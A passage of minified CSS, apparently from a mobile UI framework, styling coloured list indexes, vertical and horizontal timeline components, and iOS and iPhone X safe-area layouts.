.list-index-skip-placeholder:after,.md .list-index.color-theme-orange .list-index-label,.md .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .color-theme-gray .list-index ul,.md .list-index.color-theme-gray ul{color:#9e9e9e}.md .color-theme-gray .list-index .list-index-label,.md .color-theme-gray .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-gray .list-index-label,.md .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .color-theme-white .list-index ul,.md .list-index.color-theme-white ul{color:#fff}.md .color-theme-white .list-index .list-index-label,.md .color-theme-white .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-white .list-index-label,.md .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.md .color-theme-black .list-index ul,.md .list-index.color-theme-black ul{color:#000}.md .color-theme-black .list-index .list-index-label,.md .color-theme-black .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-black .list-index-label,.md .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.md .list-index.color-red ul{color:#f44336}.md .list-index.color-red .list-index-label,.md .list-index.color-red .list-index-skip-placeholder:after{background-color:#f44336}.md .list-index.color-green ul{color:#4caf50}.md .list-index.color-green .list-index-label,.md .list-index.color-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .list-index.color-blue ul{color:#2196f3}.md .list-index.color-blue .list-index-label,.md .list-index.color-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .list-index.color-pink ul{color:#e91e63}.md .list-index.color-pink .list-index-label,.md .list-index.color-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .list-index.color-yellow ul{color:#ffeb3b}.md .list-index.color-yellow .list-index-label,.md .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .list-index.color-orange ul{color:#ff9800}.md .list-index.color-orange .list-index-label,.md .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .list-index.color-gray ul{color:#9e9e9e}.md .list-index.color-gray .list-index-label,.md .list-index.color-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .list-index.color-white ul{color:#fff}.md .list-index.color-white .list-index-label,.md .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.md .list-index.color-black ul{color:#000}.md .list-index.color-black .list-index-label,.md .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.timeline{-webkit-box-sizing:border-box;box-sizing:border-box}.block-strong .timeline{padding:0;margin:0}.timeline-item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.timeline-item-date{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:50px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-date small{font-size:10px}.timeline-item-content{margin:2px;min-width:0;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.timeline-item-content h1:first-child,.timeline-item-content h2:first-child,.timeline-item-content h3:first-child,.timeline-item-content h4:first-child,.timeline-item-content ol:first-child,.timeline-item-content p:first-child,.timeline-item-content ul:first-child{margin-top:0}.timeline-item-content h1:last-child,.timeline-item-content h2:last-child,.timeline-item-content h3:last-child,.timeline-item-content h4:last-child,.timeline-item-content ol:last-child,.timeline-item-content p:last-child,.timeline-item-content ul:last-child{margin-bottom:0}.timeline-item-inner{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-inner .block{padding:0;color:inherit}.timeline-item-inner .block-strong{padding-left:0;padding-right:0;margin:0}.timeline-item-inner .block-strong:before{display:none!important}.timeline-item-inner .block-strong:after{display:none!important}.timeline-item-inner .list ul:before{display:none!important}.timeline-item-inner .list ul:after{display:none!important}.timeline-item-divider{width:1px;position:relative;width:10px;height:10px;background:#bbb;border-radius:50%;margin-top:3px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.timeline-item-divider:after,.timeline-item-divider:before{content:' ';width:1px;height:100vh;position:absolute;left:50%;background:inherit;-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.timeline-item-divider:after{top:100%}.timeline-item-divider:before{bottom:100%}.timeline-item:last-child .timeline-item-divider:after{display:none}.timeline-item:first-child .timeline-item-divider:before{display:none}.timeline-item-time{font-size:13px}.timeline-item-time:first-child,.timeline-item-time:last-child{margin-top:0}.timeline-item-title+.timeline-item-time{margin-top:0}.timeline-horizontal{height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.timeline-horizontal .timeline-item{display:block;width:33.33333333vw;margin:0;padding:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;position:relative;height:100%}.timeline-horizontal .timeline-item-date{width:auto;line-height:34px;position:absolute;left:0;top:0;width:100%;height:34px;text-align:left}.timeline-horizontal .timeline-item-content{overflow:auto;-webkit-overflow-scrolling:touch;margin:0}.timeline-horizontal .timeline-item-divider{display:none}.timeline-horizontal.col-100 .timeline-item{width:100vw}.timeline-horizontal.col-95 .timeline-item{width:95vw}.timeline-horizontal.col-90 .timeline-item{width:90vw}.timeline-horizontal.col-85 .timeline-item{width:85vw}.timeline-horizontal.col-80 .timeline-item{width:80vw}.timeline-horizontal.col-75 .timeline-item{width:75vw}.timeline-horizontal.col-70 .timeline-item{width:70vw}.timeline-horizontal.col-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.col-65 .timeline-item{width:65vw}.timeline-horizontal.col-60 .timeline-item{width:60vw}.timeline-horizontal.col-55 .timeline-item{width:55vw}.timeline-horizontal.col-50 .timeline-item{width:50vw}.timeline-horizontal.col-45 .timeline-item{width:45vw}.timeline-horizontal.col-40 .timeline-item{width:40vw}.timeline-horizontal.col-35 .timeline-item{width:35vw}.timeline-horizontal.col-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.col-30 .timeline-item{width:30vw}.timeline-horizontal.col-25 .timeline-item{width:25vw}.timeline-horizontal.col-20 .timeline-item{width:20vw}.timeline-horizontal.col-15 .timeline-item{width:15vw}.timeline-horizontal.col-10 .timeline-item{width:10vw}.timeline-horizontal.col-5 .timeline-item{width:5vw}@media (min-width:768px){.timeline-horizontal.tablet-100 .timeline-item{width:100vw}.timeline-horizontal.tablet-95 .timeline-item{width:95vw}.timeline-horizontal.tablet-90 .timeline-item{width:90vw}.timeline-horizontal.tablet-85 .timeline-item{width:85vw}.timeline-horizontal.tablet-80 .timeline-item{width:80vw}.timeline-horizontal.tablet-75 .timeline-item{width:75vw}.timeline-horizontal.tablet-70 .timeline-item{width:70vw}.timeline-horizontal.tablet-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.tablet-65 .timeline-item{width:65vw}.timeline-horizontal.tablet-60 .timeline-item{width:60vw}.timeline-horizontal.tablet-55 .timeline-item{width:55vw}.timeline-horizontal.tablet-50 .timeline-item{width:50vw}.timeline-horizontal.tablet-45 .timeline-item{width:45vw}.timeline-horizontal.tablet-40 .timeline-item{width:40vw}.timeline-horizontal.tablet-35 .timeline-item{width:35vw}.timeline-horizontal.tablet-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.tablet-30 .timeline-item{width:30vw}.timeline-horizontal.tablet-25 .timeline-item{width:25vw}.timeline-horizontal.tablet-20 .timeline-item{width:20vw}.timeline-horizontal.tablet-15 .timeline-item{width:15vw}.timeline-horizontal.tablet-10 .timeline-item{width:10vw}.timeline-horizontal.tablet-5 .timeline-item{width:5vw}}.timeline-horizontal .timeline-month,.timeline-horizontal .timeline-year{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;padding-top:24px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%}.timeline-horizontal .timeline-month-title,.timeline-horizontal .timeline-year-title{position:absolute;left:0;top:0;width:100%;line-height:24px;height:24px;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-horizontal .timeline-month-title span,.timeline-horizontal .timeline-year-title span{display:inline-block;position:-webkit-sticky;position:sticky}.timeline-horizontal .timeline-year-title{font-size:16px}.timeline-horizontal .timeline-month-title span{margin-top:-2px}.ios .timeline{margin:35px 0;padding:0 15px}.ios .block-strong .timeline{padding:0;margin:0}.ios .timeline-item{padding:2px 0 15px}.ios .timeline-item:last-child{padding-bottom:2px}.ios .timeline-item-content .block,.ios .timeline-item-content .card,.ios .timeline-item-content .list,.ios .timeline-item-content.block,.ios .timeline-item-content.card,.ios .timeline-item-content.list{margin:0;width:100%}.ios .timeline-item-content .block+.block,.ios .timeline-item-content .block+.card,.ios .timeline-item-content .block+.list,.ios .timeline-item-content .card+.block,.ios .timeline-item-content .card+.card,.ios .timeline-item-content .card+.list,.ios .timeline-item-content .list+.block,.ios .timeline-item-content .list+.card,.ios .timeline-item-content .list+.list{margin:15px 0 0}.ios .timeline-item-inner{border-radius:7px;padding:8px 15px}.ios .timeline-item-inner+.timeline-item-inner{margin-top:15px}.ios .block-strong .timeline-item-inner{border-radius:3px;border:1px solid rgba(0,0,0,.1)}.ios .timeline-item-divider{margin-left:15px;margin-right:15px}.ios .timeline-item-time{margin-top:15px;color:#6d6d72}.ios .timeline-item-time:first-child,.ios .timeline-item-time:last-child{margin-top:0}.ios .timeline-item-title{font-size:17px;font-weight:600}.ios .timeline-item-subtitle{font-size:15px}.ios .timeline-sides .timeline-item{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item .timeline-item-date{text-align:right}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.ios .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item-left .timeline-item-date{text-align:left}.ios .timeline-sides .timeline-item-right{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item-right .timeline-item-date{text-align:right}@media (min-width:768px){.ios .tablet-sides .timeline-item{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item .timeline-item-date{text-align:right}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.ios .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item-left .timeline-item-date{text-align:left}.ios .tablet-sides .timeline-item-right{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item-right .timeline-item-date{text-align:right}}.ios .timeline-horizontal{padding:0;margin:0}.ios .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:10px}.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after,.ios .timeline-horizontal>.timeline-item:last-child:after{display:none!important}.ios .timeline-horizontal .timeline-item-date{background:#f7f7f8;padding:0 10px}.ios .timeline-horizontal .timeline-item-content{padding:10px;height:calc(100% - 10px)}.ios .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-month .timeline-item:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-horizontal .timeline-year:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-year:last-child:after{display:none!important}.ios .timeline-month-title,.ios .timeline-year-title{padding:0 10px;background:#f7f7f8}.ios .timeline-month-title span,.ios .timeline-year-title span{left:10px}.ios .timeline-year-title span{margin-top:3px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(10px + constant(safe-area-inset-left));left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(10px + constant(safe-area-inset-left));padding-left:calc(10px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) 